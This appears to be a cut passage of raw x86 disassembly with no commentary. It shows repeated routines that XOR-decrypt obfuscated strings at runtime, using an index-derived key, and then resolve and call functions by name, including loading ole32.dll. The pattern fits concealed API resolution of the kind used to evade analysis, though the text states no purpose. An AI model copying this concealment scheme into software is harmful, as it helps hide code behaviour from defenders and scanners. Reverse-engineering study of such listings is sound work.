cmp dword [0x1010f2d8], 2
mov dword [ebp - 0x27], eax
mov ax, word [0x100f33c8]
mov word [ebp - 0x23], ax
mov al, byte [0x100f33ca]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
jl 0x10068346
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f33bc]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10068346
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068390
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x17
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, esi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov edi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100683fd
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100683f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c31
push ecx
push edx
call fcn.100b0b76
add esp, 8
push edi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3418]
xor edx, edx
movq xmm0, qword [0x100f3410]
add esp, 4
cmp dword [0x1010f2d8], 2
mov dword [ebp - 0x27], eax
mov ax, word [0x100f341c]
mov word [ebp - 0x23], ax
mov al, byte [0x100f341e]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
jl 0x10068546
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3410]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10068546
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068590
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x18
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, esi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov edi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100685fd
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100685f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c36
push ecx
push edx
call fcn.100b0b76
add esp, 8
push edi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3374]
xor edx, edx
movq xmm0, qword [str.k_HIP_k_3__E]
add esp, 4
mov edi, dword [0x1010f2d8]
mov dword [ebp - 0x25], eax
mov al, byte [0x100f3378]
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10068740
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.k_HIP_k_3__E]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10068740
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068790
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x19
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, esi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100687fd
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100687f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c3b
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
add esp, 4
mov ecx, str.ole32.dll
call fcn.100470f0
mov esi, eax
test esi, esi
je 0x10068a34
movups xmm0, xmmword [str.zUxNX_K__b_00____I]
mov cl, byte [0x100f3368]
xor edx, edx
mov byte [ebp - 0x53], cl
mov dword [ebp - 0x14], edx
movups xmmword [ebp - 0x63], xmm0
cmp edi, 2
jl 0x10068970
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x63]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x63], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x5f]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x5f], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10068870
mov dword [ebp - 0x14], edx
cmp edx, 0x11
jge 0x1006899e
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x63], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x11
jl 0x10068970
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x63]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100689c0
sub ecx, edx
lea eax, [ebp - 0x63]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x1a
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, esi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10068a2d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10068a23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c40
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
add esp, 4
mov eax, dword [0x100f3844]
xor edx, edx
movq xmm0, qword [str.XM_MW_fro__E]
mov dword [ebp - 0x25], eax
mov al, byte [0x100f3848]
movq qword [ebp - 0x2d], xmm0
lea esi, [edx + 4]
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10068b66
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.9999999999999999]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 0x14], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.XM_MW_fro__E]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10068b66
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068bb0
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
call fcn.100470f0
mov ecx, dword [ebp - 0x34]
mov edi, eax
cmp ecx, 0x10
jb 0x10068c0c
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10068c02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c54
push ecx
push edx
call fcn.100b0b76
add esp, 8
test edi, edi
je 0x10069234
movups xmm0, xmmword [0x100f376c]
movups xmmword [ebp - 0x62], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x10068d9e
xor edx, edx
cmp dword [0x1010f2d8], 2
mov dword [ebp - 0x14], edx
jl 0x10068d70
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 0x1f
movaps xmm4, xmmword [0x100f8cc0]
xor ecx, ecx
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebp - 0x30]
movd xmm5, esi
movd xmm7, eax
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x62]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x62], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x5e]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x5e], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x10068c74
jmp 0x10068d9e
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x62], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x10
jl 0x10068d70
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x62]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068dc0
sub ecx, edx
lea eax, [ebp - 0x62]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x1b
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10068e2d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10068e23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c45
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3704]
add esp, 4
movq xmm0, qword [str.k__sM_Q_v__]
mov dword [ebp - 0x26], eax
mov ax, word [0x100f3708]
movq qword [ebp - 0x2e], xmm0
mov word [ebp - 0x22], ax
test ah, ah
je 0x10068fa4
xor edx, edx
cmp dword [0x1010f2d8], 2
mov dword [ebp - 0x14], edx
jl 0x10068f76
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.k__sM_Q_v__]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2e], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2a]
pxor xmm1, xmm0
movd dword [ebp - 0x2a], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2e], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xe
jl 0x10068f76
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10068fc0
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x1c
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006902d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10069023
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c4a
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movq xmm0, qword [0x100f34e8]
add esp, 4
cmp byte [0x100f34f3], 0
mov eax, dword [0x100f34f0]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], eax
je 0x1006919f
xor edx, edx
cmp dword [0x1010f2d8], 2
mov dword [ebp - 0x14], edx
jl 0x10069171
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f34e8]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x28]
pxor xmm1, xmm0
movd dword [ebp - 0x28], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jl 0x10069171
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100691c0
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x1d
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006922d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10069223
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c4f
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
add esp, 4
mov ax, word [0x100f3444]
movq xmm0, qword [0x100f343c]
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], ax
test ah, ah
je 0x10069284
xor edx, edx
mov dword [ebp - 0x14], edx
mov eax, 0x2f684bdb
mul edx
mov eax, dword [ebp - 0x14]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x14]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2a], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xa
jl 0x10069254
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100692a0
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
